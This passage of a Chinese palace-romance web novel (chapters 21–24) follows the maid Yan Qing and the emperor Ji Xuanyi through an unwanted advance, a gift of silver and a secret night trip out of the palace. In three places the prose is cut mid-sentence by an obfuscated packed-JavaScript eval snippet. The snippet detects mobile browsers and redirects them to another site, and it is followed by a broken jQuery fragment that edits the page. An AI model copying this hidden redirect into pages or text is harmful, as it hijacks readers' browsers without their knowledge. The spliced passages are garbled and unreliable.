崎岖狰狞的伤痕如同蛛网般密布在男人宽阔的上半身,新旧交错,层层叠压,几乎寻不出一寸完好的皮肉。 再次直面这触目惊心的景象,虽然依旧可怖,但言卿没了初次那般的惊吓,言卿在脱下纪玄逸衣衫的时候,指腹不可避免地掠过那些凹凸不平的印迹,那些地方异常的粗糙且炽热。 ‘纵使是宫廷御医,也对这般陈年旧疤束手无策么?’ 言卿不由得感到好奇,明明看上去已经是好久之前的疤痕了,为什么摸上去还会有温度,如果被触碰的话会感觉到痒吗? 当然,有了之前的经验,即使言卿的思绪飘远,手上的动作却未曾停歇。 即使再讨厌纪玄逸,言卿也不得不承认,眼前的男人似乎的确如传闻中那般骁勇善战。 在言卿走神之际,手腕猛地被一股力道钳住,使得她脱衣服的动作被迫停下,言卿有些疑惑地抬头,一下撞进纪玄逸深不见底的眸子里。 纪玄逸的眉头依旧微微蹙起,定定地看着言卿,一言不发。 看样子似乎也没有生气,倒是有些......烦躁? 言卿感到疑惑,她并不觉得是自己做错了什么,因为她手上的动作一直没有停,难不成纪玄逸有读心术,知道自己脑子里在想其他的事情? 要不然的话...... 言卿的视线逐渐下移,好像突然理解了什么,难道裤子也要她来脱? 她倒是无所谓,自己在昊儿小的时候也经常帮他沐浴,但这会不会有些冒昧了?可是自己又必须要重新得到这份工作。 就在言卿内心无比纠结的时候,纪玄逸突然放开了她的手,喉间溢出一声低哑的叹息,打破了令人窒息的沉默。 “哈......你在这等着。” 话音未落,纪玄逸便转身,大步流星地朝着屏风后的浴堂走去。 待那身影消失在门后,站在原地的言卿才松了一口气,从纪玄逸进门开始,一切发生的都太快了,她一直到现在才有了喘息的时间。 但现在还不能松懈,言卿扫了一眼纪玄逸经过的地方,可以说是一片狼藉,东西被打翻了,血迹也弄得到处都是。 言卿现在已经差不多习惯了血的腥味,是时候开始工作了。 她利落地端来清水,趁着纪玄逸沐浴的间隙将地板门框擦拭干净,把被打翻的陈设都摆放整齐,还顺手将纪玄逸染血的衣裳收拾好。 待一切恢复如初,纤尘不染,她才直起酸痛的腰背,略略舒展了一下筋骨,满意地看着屋内的样子。 就像是一开始一样整洁,不过,这一关是过去了,那以后呢? 如果每天都要收拾这么血腥的屋子,见到那么恐怖的场景,言卿不确定自己要多久才会疯掉。 更何况,谁能保证纪玄逸的下一个目标不是自己? “唉——” 一想到自己渺茫的未来,言卿就感到沮丧。 “你看上去很不满。” 就在言卿准备坐在椅子上休息一下的时候,背后突然传来一个熟悉的声音。 言卿立刻回头看去,只见纪玄逸不知何时已经沐浴完毕,此时正身着浴袍,半倚着门框盯着自己。 “奴,奴婢不敢。” 洗去血污的纪玄逸,周身那股凌厉的煞气似乎也被水汽氤氲得柔和了几分 湿漉漉的墨发随意地散落在腰间,发梢处还在滴水,浴袍的领口随意敞开着,露出一片紧实的胸膛肌理,言卿甚至可以清楚地看到他的胸肌。 不过视线仅仅停留了一瞬,言卿便很快地转移了视线,她可不想再犯一次觊觎龙体的罪名。 “哼。” 纪玄逸冷哼一声,大步走向一旁的床榻,有些慵懒的靠坐了上去,随后对着言卿的方向,漫不经心的扬了扬下巴,声音听上去有些干。 “那个,拿着用。” 言卿顺着他的视线看去,只见在自己身旁的桌上放着一个精致的小盒子,那是刚刚被打翻在地的,被自己捡起来的盒子。 那是什么?是给她的吗? 言卿将那东西打开,一股药香味立刻散发出来,里面的东西看起来是某种药膏。 就在言卿疑惑为什么纪玄逸要将这东西给自己的时候,后者有些沉闷的声音立刻传来。 “你想用那张脸来侍奉你的君主吗?” “什么?” 言卿歪了下头,随后立刻意识到纪玄逸是什么意思,这似乎是跌打药一类的东西。 她抬起手摸了摸自己的脸颊,现在已经不烫了,但依旧十分红肿,其实再过上两天就会完全痊愈,没必要上药,而且...... 从盒子就能看出来,这是十分上等的药,起码自己绝对负担不起,谁知道纪玄逸会不会因此刁难自己? 似乎是不满意言卿犹豫的表情,纪玄逸的声音听上去有些不悦。 “你站在那,是想让朕帮你?” “不......不必。” 言卿立刻下意识地摇头,随后带着药膏快速地走到一旁的铜镜前,将脸凑了上去。 这其实是她被打之后第一次照镜子,之前只是从柳辰良的反应得知自己伤的很重,言卿一直以为是他的反应太夸张了。 现在看来确实不轻,只见她的左脸此时肿得通红,甚至有些微微发紫,是淤血吗? 真奇怪,明明相较于早上,言卿已经感觉不痛了。 “嘶——” 冰凉的药膏接触到皮肤,言卿不禁倒吸一口凉气,但随即舒适的感觉立刻袭来,当然,前提是忽略身后那沉重的视线。 不过,言卿还是不敢相信,纪玄逸居然会这么好心给自己药膏,或许就如他所言,只是因为不想看见这张有瑕疵的脸在他身边侍奉。 “多谢皇上。” 言卿上完药后,将药盒原封不动地放回到桌子上,随后转身向纪玄逸道谢。 “嗬——” 但不知何时,方才距离自己很远的纪玄逸已经离开了床榻,来到了自己身后,言卿吓了一跳,下意识地后退。但身后便是桌椅,她甚至险些被绊倒。 至于言卿为什么没有狼狈地摔倒,那是因为纪玄逸在她即将跌倒的瞬间拦住了她的腰,一瞬间,言卿心里大叫不妙。 还不如直接摔倒。 两人的距离太近了,许是因为刚沐浴的原因,纪玄逸身上的水汽若有若无的洒在言卿脸上,没有了熟悉的龙涎香,取而代之的是更加清爽的花香。 “你应该拿着那盒药。” “......为何?” 纪玄逸微微垂眸,散落的墨发微微遮住了面庞,连眼神看起来都柔和了几分,和平时严肃的样子相差甚远。 “因为你非常愚笨,总是受伤。” 但说出的话还是那么不中听。 言卿咬了咬牙,就像自己说过的那样,越是反抗眼前的男人,他就会越过分地对待自己。 所以,此刻最好的方法就是顺从。 “多谢皇上。” 言卿的答复很显然出乎了纪玄逸的意料,后者的表情明显僵了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069165|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一细微的表情恰巧被言卿看在眼里。 但此时此刻,言卿不确定这是否是一个好消息。 若纪玄逸对自己失去兴趣,不再刁难自己自然是好事,但相对的,自己也会被赶出皇宫,那......钱怎么办? 于是言卿的行为开始变得犹豫,她不确定自己现在该怎么做。 但还不等她做出下一步行动,头顶便立刻传来了满是嘲讽的声音。 “几日不见,你的脸皮倒是厚了几分。” “......” 对于此话,言卿无话可说,只能用力抓住自己的裙摆,她现在必须寻找一个开口的时机。 突然,言卿感到环绕在自己腰间的力度一紧,自己整个人几乎都贴到了纪玄逸身上,好在她下意识地抬手阻挡,这才避免了失态。 不过,现在的姿势也不是那么妙就是了。 言卿瞪大了眼睛,立刻抬头看向纪玄逸,刚想开口询问,对方的声音却先一步传了出来。 “有意思,让朕瞧瞧,你把尊严抛弃到了何种程度?” “那是什么意思......” 言卿说着,不由得感到心虚与慌张,因为纪玄逸在说话的同时,还在不断缩短两人之间的距离。 如果说那日在马场是看上去像,那现在就是实打实的拥抱。 “别傻了,你是想说,你不知道自己为何出现在朕的寝宫吗?” 纪玄逸说着,低声轻笑了一声,就像是在嘲笑天真的言卿。 “......” 言卿用力的咬紧了后槽牙,呼吸变得异常急促,她当然清楚,一直都清楚,她只是不理解,并且不愿意相信。 似乎是很满意言卿的表情,纪玄逸嘴角的笑意愈发浓烈,随后在言卿震惊的目光中缓缓低下了头,嘴上还不忘继续挑衅言卿。 “嗯?你说呢,言卿。” “够了!” 在感到腰间的裙带逐渐被解开之时,言卿再也受不了了。 只见言卿撑住男人胸口的双手猛地用力,纪玄逸就这样不设防备的被她推开了一段距离。 腰间的力度终于消失了,但言卿却依旧后怕的喘着粗气。 方才纪玄逸是想要做什么,若言卿没有推开他,现在会发生何事。 不,现在那都不是重点...... “奴,奴婢该死!请皇上饶命!” 几乎是推开纪玄逸的一瞬间,言卿“扑通”一下跪在了地上,将头埋得低低的,嘴里结巴地说着道歉的话。 自己刚刚到底做了什么?不单单是触碰龙体那么简单,言卿,你怎么敢推开皇帝?你难道有十个脑袋? 言卿完全不抬头去看纪玄逸现在的表情,从被自己推开之后,纪玄逸就站在原地一言不发。 但即使不用抬头也知道,他现在一定气愤极了,现在不单单是拿不到钱那么简单了,自己的性命也保不住了。 不,不光如此,她犯了如此死罪,就连昊儿和爷爷也会被自己连累...... 光是想象一家人的悲惨下场,跪在地上的言卿忍不住的发抖。 “请皇上息怒!” “......” “是奴婢该死,请皇上饶命!” “......言卿。” 言卿嘴里不断地嘀咕着,脑子里一片混乱,以至于她完全没有听到自己的名字,只想着该如何活下去。 “请,请皇上饶了我的家人......” “起来,朕没有生气。” 22. 第 22 章 “什么......” 言卿闻言,小心翼翼地抬头,表情中透露着些许不可置信。 “哈。” 只见纪玄逸有些粗暴地撩了下额前的墨发,看上去有些烦躁,言卿甚至觉得方才是自己幻听了,因为眼前的男人没有理由不生气才是。 只见纪玄逸在言卿不解的注视下大步走向一旁,从抽屉中拿出一个精致的袋子,随意地丢在言卿身旁的桌上。 当袋子接触到桌面时发出了几声巨响,这说明里面的东西异常沉重。 言卿甚至觉得或许是纪玄逸扔歪了,他是想将这个东西扔到自己的脑袋上才对。 “你准备在那里跪多久?” 一直到纪玄逸有些不满地开口,言卿这才从地上起身,但视线却一直被桌上的袋子所吸引。 “拿着。” 直到纪玄逸开口,言卿才确认那是给自己的,于是便好奇地打开那个袋子。 言卿并不认为里面会是什么好东西,因为这是一件‘提前准备好’的东西,于是言卿有点忐忑地打开了袋子。 “天哪——” 当言卿看清楚袋子里面装的东西时,几乎是不敢置信地捂住了嘴巴。 是白银,明晃晃的白银,而且很大很完整,言卿从未见过如此大的银锭,而且整整有一袋,绝对超过了郑尚书所要求的数额,但...... “为什么?” 言卿不敢相信自己看到的是真的,她更不能理解为什么。 “不想要?” “不,不是那样的,只是,我......”还什么都没说,不是吗? 不可否认,这些银锭确实是言卿来找纪玄逸的目的,她从早上开始就一直在寻找开口的机会,但却一直未果。 本以为还要些时日,但没想到现在纪玄逸居然轻易地将钱给了自己,她甚至完全没有提到任何关于钱的事情。 “有意思,就好像你主动来找朕会有第二个目的一样。” 不知何时,纪玄逸已经转身靠坐在了榻上,此时正有些悠闲地用手撑着下巴。 言卿闻言有些尴尬,因为纪玄逸说的完全正确,若不是因为钱,自己这辈子都不会来皇宫。 “奴婢,谢主隆恩!” 言卿十分恭敬地行了礼,这一次是发自真心的尊敬,眼前的男人似乎不是自己所想的那般冷血。 在确认这些钱是给自己的一瞬间,言卿几乎忘记了方才屈辱的遭遇,取而代之的是无比喜悦的心情。 只要有这些就足够了,即使这些钱的代价是自己永远无法离开皇宫,那也无妨。 “现在说说吧。” 纪玄逸挥了挥手,让言卿起身。 “......说什么?” “你的故事,朕说过会听。” 言卿这才想起纪玄逸早上说过的话,她原以为这只是说说而已,便没放在心上。 不过现在钱已经拿到了,茶楼发生的事情告诉纪玄逸与否也已经无所谓了。 不,或许不说更好,如果涉及到朝中的大臣,或许眼前的男人就不会这么好心了。 “并不是什么大事,皇上不必在意。” 言卿不动声色地垂下眼眸,回避了纪玄逸的问题。 “......” 纪玄逸闻言,眉头微微皱了一下,好像是对言卿的回答很不满意,但他没有多说什么,只是有些不耐地挥了挥手。 “既然如此就回去,朕要就寝了。” 他没有多问关于自己的事,言卿松了口气,随后用很快的动作将包裹抱在怀中,行了礼之后退了出去,就好像但凡她犹豫一秒面前的男人就会反悔一样。 言卿小心翼翼地合上门,随后快步逃离了纪玄逸的寝宫。 就像纪玄逸之前说的,她的屋子被安排在了偏殿,虽说不是挨着他的寝宫,但距离也是十分近了。 屋子的面积不小,和言卿之前居住的地方相比已经可以称之为宫殿了,上到她的服饰,下到生活用品,一切应有尽有。 言卿不禁感慨,要不说东瀛是大国呢,就连皇帝的侍女也能住在这么豪华的地方。 但言卿现在没时间去好好欣赏这一切,她将怀中的袋子放在桌上摊开,好好的清点了数量,在确认这些钱足够偿还郑侍郎的要求后重新将其打包好,拿了个不起眼的布袋将其包裹住。 随后带着它鬼鬼祟祟的离开了屋子。 言卿这么做只有一个原因,她必须将钱带回茶楼,不然这一切都将毫无意义,这是一笔巨大的财富,她无法轻易委托任何人传递。 但,既然自己已经回到了皇宫,那按照之前和纪玄逸的约定,自己将一辈子都呆在这里,这意味着,她没有资格再提出回家的请求。 不过那只是明面上的,只要她能神不知鬼不觉地出去,并在被发现之前回到皇宫,那不就行了吗? 这就是言卿最开始的计划,现在月黑风高,正是行动的好时机。 于是言卿蹑手蹑脚地走到了乾清宫门口,只见大门口有重兵把守,作为皇帝活动的主要场所,乾清宫的守卫是最森严的,在宵禁时间不会允许任何可疑的人出入。 很显然,言卿无法从正门出去,但没关系,她还有第二条路——翻墙。 早在下午,言卿在宫内闲逛的时候,她就观察好了路线,有一个地方刚好和假山离得很近,即使是个子不高的自己也能轻易地爬上去。 但等她真正到了假山前又突然有些胆怯,怎么感觉这比自己白天看到的还要高了? 不过犹豫只是暂时的,言卿知道现在自己时间紧迫,不能耽搁,于是她撸起袖子爬上了假山。 但假山旁边就是水池,难免会受到水气的影响有些湿滑,就像现在,眼见言卿马上就要到达最高处时,脚下突然失去了落点,仅一瞬间,还没等言卿反应过来,就感到一阵天旋地转。 下一秒,言卿便重重地摔在了地上。 “嘶——” 虽然很痛,但言卿拼命地忍住了惨叫,如果引来了侍卫,那自己岂不是白摔了? 后背火辣辣的,言卿保证自己的后背现在一定肿得厉害,但她来不及查看伤势了,起身拍了拍身上的土,继续爬上了假山。 好在接下来再没有发生什么意外,翻过了围墙,言卿马不停蹄地赶回了茶楼。 “言卿!你怎么......” 一推开门,柳辰良就被面前灰头土脸的言卿吓了一跳,连忙招呼她进屋。 “哈......哈,柳先生,我有一事要拜托你。” 言卿气喘吁吁的接过柳辰良递过来的水,大口的喝了下去,随后立刻进入正题,将怀中的包裹放在了桌上。 “什么事那么着急,你先好好休息一下,还有你怎么这么晚才回来,怎么这副模样?” 柳辰良的问题比自己想象中的还要多,但言卿的时间可不多,于是她打断了柳辰良的疑问,将桌上的包裹打开,白花花的银子顿时铺展在桌上,柳辰良立刻就瞪大了眼睛。 “这......” 见柳辰良一时语塞,言卿急忙开口。 “柳先生,我可能有好些时日不能回来了,拜托您将这些钱交给郑侍郎,剩下的钱就您就留着,你们三人好好生活。” 这像最后叮嘱一样的话语深深地刺激了柳辰良,他有些激动地上前抓住言卿的胳膊,语气颤抖地说道。 “言卿你在说什么啊,这些钱是哪来的,你要去哪?齐先生和昊儿怎么办......” 言卿看着抓住自己胳膊的颤抖的手臂,随后淡然地笑了一下,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087207|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻抬手拍了拍柳辰良。 “柳先生您放心,这些钱都是正规途径来的,我找了一份收入颇丰的工作,只是有些辛苦,需要长久住在哪里而已。” “......” “所以不必担心,只是爷爷和昊儿,要麻烦您多费心了,我偶尔也会回来,或许......” 看言卿的表情并不是说谎,柳辰良也逐渐冷静了下来,但心中却依旧担心,他看了看桌上的白银,又看了看有些狼狈的言卿,有些打趣的说道。 “你就不怕我独自带着钱离开?” “哈哈,柳先可真会说笑。” 听他这么说,言卿顿时笑了起来,就好像听到了什么好笑的事情一样,见言卿这副样子,柳辰良也不禁跟着笑了起来。 即使两人相处的时间不算太长,但言卿却足够信任眼前的这个男人,就像是家里的长男一样,任何事情交给他都会让人安心。 “时候不早了,我要赶紧回去了。” “唉?但现在是子时。” 言卿看了看外面的天,连忙起身向门外走去,柳辰良见状立刻起身,其实他完全不能理解言卿的行为,在任何人看来都十分奇怪。 “这......我回去还要准备明早的事情。” 言卿随便想了个借口糊弄过去,即使这个借口很拙略,以至于柳辰良根本就不相信,但后者却没有揭穿她。 只是向往常一般站在桌前,随后用温柔的语气开口。 “早些回来。” —— 与柳辰良告别后,言卿又匆忙的赶回皇宫,现在时间还很充足,在到达乾清宫之前,言卿有十足的把握不会被发现,但...... 当言卿站在自己翻出来的那面墙前时,却楞在了原地。 现在有一个巨大的问题摆在她面前。 自己是靠着假山的增高才能顺利的从墙内翻出来,但,墙外面可没有假山,自己现在该如何回去? 言卿几乎要晕过去了,自己怎么能忽视怎么重要的事情? 现在靠翻墙进去是绝对不可能的了,于是言卿将目光投向了被重兵把守的正门,那里现在是唯一的入口。 “不不不,绝对不行。” 言卿猛地摇了摇头,自己在皇宫工作的时间太短,侍卫都不认识自己,贸然进去只会被当作可疑人士抓起来审问。 然后就会惊动屋内的纪玄逸,接着自己偷偷溜出宫回茶楼的事情就会暴露,最后...... 三番五次的戏弄君主,言卿甚至不敢去想象自己的下场会有多惨。 此时此刻,言卿正遭遇一个十分艰巨的难题。 她鬼鬼祟祟的走到拐角处,偷偷观察着门口的侍卫,目测少说有六名侍卫,自己成功溜进去的可能性微乎其微。 或许自己可以想一个借口,比如...... 可惜的是,言卿绞尽脑汁都想不出一个合理的理由,她不是从正门出来的,自然也没有回去的理由,侍卫肯定也不会放任一个自称皇帝侍女的可疑人员进入乾清宫。 但若是自己什么都不做又肯定会被纪玄逸发现,一想到这些言卿几乎在原地急得团团转。 然而就在这时,身后突然传来了一个熟悉的声音。 “言小姐,你怎么在这?” 言卿吓了一跳,以为是自己被侍卫发现了,于是她立刻转身准备开口解释,但却发现出现在自己身后的人是熟人。 “肖将军!” 就像是看见了救命稻草一样,言卿从未如此开心能见到肖风。 只见此时的肖风一只手提着灯笼,一只手叉腰,用疑惑的眼神看着自己,身后还跟着几个衣着相似的人,似乎是他的下属。 “我大老远看背影就觉得像你,这么晚了你怎么在外面?” 23. 第 23 章 “我......” 言卿一时语塞,虽然肖风和自己认识,但他先是御前侍卫,对于皇上的安危绝不会含糊,所以自己不能如实相告。 眼见肖风的表情越来越疑惑,言卿急忙开口。 “迷路......我迷路了,宫里太大了,我找不到住处。” 言卿说着,袖中的手微微颤抖,这是一个十分拙劣的谎言,任何人听了都会觉得她有所隐瞒,就像现在,肖风身后的侍卫们,正用警惕的眼神看着她。 但好消息是,言卿面对的是肖风。 “你的住所啊,我记得是......应该在皇上寝宫旁边。” 只见肖风闻言,一扫脸上的疑惑,完全相信了言卿的谎言,还热心地帮言卿指了指乾清宫的方向。 言卿松了口气,这么拙劣的谎言恐怕只有肖风会相信了,随后她故作为难地说道。 “多谢肖将军,只是现在已经过了宵禁时间,恐怕侍卫不会让我过去,我还是在外面等到天明再回去吧。” 当然,她并不是真的打算在外面呆着,就像她预料的那样,肖风开口了。 “那怎么行,会感冒的,没事,还好你的运气不错,今晚是我巡夜,走,我带你进去。” “那就麻烦肖将军了。” 太好了!言卿在心中暗自庆祝,真是不幸中的大幸,还好自己遇见了肖风,若是今天发现自己的是其他人,恐怕她现在已经在大牢里蹲着了。 “肖将军。” 言卿跟着肖风来到了乾清宫大门,侍卫一见到肖风便立刻恭敬地行礼。 “这位是新来的皇上的贴身侍女,你们认识一下。” 肖风说罢,侍卫们纷纷向言卿投去好奇的目光,这可是皇上第一位贴身侍女,谁能不好奇? “好了好了,赶紧进去休息吧,明天还要早起对吧。” 肖风带着言卿来到侍卫们面前,混了个眼熟,等目送言卿进去后便继续去巡夜了。 走在回屋的路上,言卿还是不敢相信自己居然这么轻易就进来了。 “呼——” 言卿走进屋中,反手锁上了门,在确认自己完全安全之后,长长地舒了口气。 这次真是有惊无险,还好自己运气不错遇见了肖风,但,运气不会一直存在。 若想在宫中保住自己的性命,往后的言行必须更加谨慎才行。 今天发生的事情太多了,言卿早就已经筋疲力尽。不过好消息是郑侍郎的事情总算结束了,现在自己只需要想办法在纪玄逸手中活下来。 不过,在那之前,自己需要换一身干净的衣服。 言卿看了看自己沾满泥土的衣服,一想到自己方才就是这副模样出现在众人面前,言卿就感到一阵迟来的尴尬。 言卿脱下里衣,正准备用刚接的水擦拭身体的时候,背后隐约传来一阵火辣辣的感觉。 “嘶——” 直到冰冷的水接触到后背时,言卿终于忍不住倒吸一口凉气。 她这才想起是方才摔下假山时受的伤,于是急忙跑到铜镜前查看伤势。 只见后背靠近肩膀那块有些发紫,好在那假山不是很高,受的伤还没到无法活动的地步。 ‘因为你非常愚笨,总是受伤。’ 脑子里不合时宜的响起纪玄逸的话,言卿的嘴角止不住的抽搐了一下。 对于纪玄逸没有依据的话,言卿绝对不认同,不过...... 言卿有些不情愿的从抽屉里拿出一个熟悉药盒,她才不会不好意思,既然给自己了,那她为何不用? —— 翌日清晨,言卿很早地就从睡梦中醒来,虽然这里的床很舒适,但她却有些不习惯。 当然,还有个最重要的原因。 今天是自己作为贴身侍女的第一天,若自己因为睡懒觉而耽误,必然会引起纪玄逸的不满和怀疑,既然已经做了,那就做到最好。 只是,问题是言卿也不清楚自己的具体职责是什么。 于是她仔细回想了一下自己以前的侍女,无非就是每天负责照顾自己的起居,平日里逛逛花园,抄抄经书,在需要的时候端茶倒水...... 这样看来好像也不是很难? 时间有些久远,具体的细节她有些记不清了。 在言卿还在努力回忆的时候,她不知不觉已经到了目的地。 言卿深吸一口气,做好了十足的心理准备后轻轻地敲响了房门。 “叩叩叩——” “......” 言卿在门口站了一会儿,但并没有得到回应,这让言卿有些为难,现在似乎有些进退两难了。 不过随即言卿便一拍脑门,因为她想起来了,自己当时每日清晨,都是侍女叫自己起床的,所以屋内没动静是理所当然的事情。 还好自己有经验,虽然是立场反过来了,但结果是对的,言卿对自己的推测满意地点点头,随后便利索地推开了房门。 但屋内的情况却完全与她的推测相反...... 床上完全没有人影,反而是一旁的书案前有一个白色的身影定定地坐在那。 只见纪玄逸一只手撑着脑袋,面色严肃地翻阅着手中的文书。 言卿完全没想到这个男人一大早就开始处理政务了,明明她已经起得够早了。 一时间,言卿有些尴尬地站在门口,进退两难。 好在纪玄逸注意到了门口的动静,只见他微微抬眸看向言卿,眯了眯眼,随后缓缓放下手中的文书,开口的第一句就是嘲讽的话语。 “真慢,朕都要忘了自己还有侍女了。” 言卿心里有苦说不出,自己可是在天微微亮的时候就起了啊。 “过来更衣。” 见到纪玄逸起身,言卿立刻拿上一旁的衣裳上前。 坏消息是,言卿依旧不知道怎么穿男性的衣裳,只能靠昨晚的经验硬着头皮来。 好消息是,虽然那头顶的目光依旧让言卿感到别扭,但纪玄逸在言卿的摸索过程中一言未发,这或许说明自己的步骤是对的。 言卿松了口气,但只是因为这是一件款式比较简单的夏装而已,她需要找时间去学习一下才行。 将腰带别好后,言卿起身整理领口,这样一来就结束了。 言卿将视线垂下,避免在整理的过程中和纪玄逸对上视线,但下一秒一只大手突然抚上了自己的脸颊。 “!” 言卿愣了一下,下意识抬头,只见纪玄逸此时正若有所思的盯着自己的脸颊,指腹有一下没一下的摸索着。 面对突如其来的行为,言卿整个人愣在原地,但随即立刻意识到了纪玄逸的意思。 “已,已经完全好了,多谢皇上赐的药。” “......” 自己在昨天给肩膀上药时顺便给脸上也涂了一下,今早就已经完全痊愈了,肩膀也没有那么痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121800|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,不得不说那个药的效果真的很好。 纪玄逸闻言眯了眯眸子,随后缓缓收回手,一边自己整理着衣襟一边还不忘挖苦言卿。 “技术真烂。” 言卿闻言嘴角抽了一下,她就知道这个男人不会放过这么好的机会羞辱自己。 “皇上,肖将军和丞相已经在御书房候着了。” 在言卿还在心里嘀咕的时候,门外突然传来刘公公的声音。 纪玄逸没有回应,将衣裳整理好之后便往门外走去,言卿急忙跟了上去。 看起来今日不上早朝,言卿还以为今天可以休息呢,但若是御书房的小会,自己怕是必须要去了。 不过,是不是少了一件很重要的事——不吃早膳吗? 无论多么繁忙,都应该吃饱不是吗?起码言卿是这样的,如果不吃早饭,一整天都会十分难受。 难道是自己真的起得太晚了,皇上已经吃过了吗? 不,说不定纪玄逸在去御书房之前,会先去御膳房,可一直到自己到了御书房门口,言卿才彻底死了这条心。 —— “开始吧。” 御书房内,纪玄逸坐在书案前翻阅着宋颜睿呈上来的文书,言卿则默默地站在一旁,双手端着新准备的茶具随时候着。 “近几月边疆的蛮夷有些动荡,臣已经派兵去镇压了,但......” 最先开口的是肖风,和言卿之前见到的样子有些不同,在这里的肖风表情十分严肃,只有这个时候言卿才会意识到他是东瀛的大将军。 “他们似乎也只是暂时安分而已,臣认为,还是应该清除隐患。” “有意思,若有下次,朕会亲自带兵。” 对于肖风的汇报,纪玄逸冷笑一声,丝毫不将那些蛮夷放在眼里,言卿从他眼中能看到的,只有对战争的兴奋而已。 真是可怕,就像传闻中那样,东瀛的皇帝是一个只会对杀戮和鲜血感兴趣的怪物。 自己居然要一直服侍这样的人吗...... “皇上,赏花宴结束后的几个月便是朝会,臣已经开始着手准备,有什么需要的事项吗?” 宋颜睿说着,递上另一份文书,离得太远,言卿看不清上面的内容。 不过,既然是朝会,一定相当重要才是,那是每年中最重要的节庆日,也将举行最大规模的宴会,届时,周边的所有国家以及藩国都会来参加,并且上贡或送礼,无一例外。 如此重要的事情,要操心的事情必然很多,想必接下来的日子纪玄逸都会很忙了。 “朕无所谓,你看着办便好。” ......啊? 在言卿惊讶的注视中,纪玄逸一脸无聊的将文书扔到一旁,将这件事全权交给了宋颜睿。 原来忙的人不是纪玄逸,是作为丞相的宋颜睿...... 虽然纪玄逸无所谓,但作为每年最重要的日子,关乎着整个东瀛的脸面,身为丞相当然不可能随便弄弄,绝对会全身心投入此事。 因此,言卿看向宋颜睿的目光不禁多了几分同情,不过对方好像并不这么觉得。 宋颜睿表情十分平淡,就像是意料之中的事一样。 也是,萧风说过,因为后宫空无一人,所以这些事情这几年来都是丞相在处理,而且每件事都非常完美,令人敬佩。 不过,现在比起宋颜睿,言卿此时此刻更需要心疼的好像应该是自己...... 24. 第 24 章 按理说皇上在处理政务的时候,自己是不能进入书房的,但但刘公公却神色自若地将茶盘塞进她手里,示意自己进去。 这就是言卿出现在御书房的原因,这种政务要事让自己听到真的没关系吗? 不过最重要的问题是,自己手中的这个托盘对她来说有些过于重了。 虽然是木制的,但她昨晚肩膀受的伤还没有完全康复,一直这么端着实在有些吃力,而且还没有吃早饭...... 就在言卿心里不断嘀咕希望这个会议早点结束的时候,书案前的纪玄逸突然向她投来了视线,言卿下意识地站直了身体。 难道自己方才走神被他察觉到了?有必要这么敏感吗? 好在下一秒,纪玄逸就移开了视线,随后用手指敲了敲桌案。 言卿立刻会意,端着茶盘靠了过去,也正好因为这个举动,她才可以名正言顺地将托盘放在桌子上,让自己的肩膀短暂地休息一下,所以她故意将沏茶的动作放得很慢。 不过这也只是小聪明而已,很快三个人的茶都沏好了,言卿在心里叹了口气,随后便准备端起茶盘退下。 “放那。” 一时间以为自己幻听了,言卿不动声色地抬眸扫视了一圈,只见纪玄逸并没有看向自己,而肖风和宋颜睿各自在翻阅自己手中的文书,好像并没有听到纪玄逸说话。 是说给自己听的吗?言卿犹豫了一下,随后双手离开托盘,将它放在桌上,独自退到了一旁。 言卿有些疑惑,或许他是喜欢自己倒茶喝吗? 毕竟他不需要被服侍起床,也可以独自更衣,或许只是觉得自己碍事而已。 言卿在心里点了点头,这个推测很明显是正确的,不过无论如何,自己都可以轻松一下了。 反正在这个屋子里没人会注意到自己。 “还有最后一件事,皇上,明日便是赏花宴的日子......” 会议的最后,宋颜睿放下了手中的文书,对着纪玄逸行了个大礼,一字一句地说道。 “臣恳请陛下,务必准时驾临。” 言卿眨了眨眼睛,看起来这位皇帝还是一个迟到惯犯。 “嗯。” 对于诚恳的宋颜睿,纪玄逸只是随意应了一声,以及那一脸无所谓的表情,言卿敢肯定他明日绝对不会按时到达。 “没别的事就退下吧。” 当然,纪玄逸的反应也在宋颜睿的意料之中,只见他微微鞠了一躬,随后转身准备离开。 “唉,颜睿等一下!” 在宋颜睿马上离开书房的时候,肖风突然开口叫住了他。 前者停下了脚步回头看向他,纪玄逸和言卿也下意识地投去目光。 就在大家都在好奇他有什么着急的事情要找宋颜睿的时候,肖风倒是支支吾吾了起来。 “那个......令妹,近日可好?” “......” 一时间,屋内陷入了沉默,言卿一时语塞,你如此焦急的在书房内叫住丞相,就是为了问一下人家妹妹? 言卿下意识看向纪玄逸,只见他似乎是有些无语的摇了摇头,随后便对眼前的事情失去了兴趣,垂眸继续翻阅着文书。 言卿又看向了宋颜睿,她有点好奇他会如何回答。 只是,宋颜睿的表情似乎看上去不是很好,甚至......有点恼火? 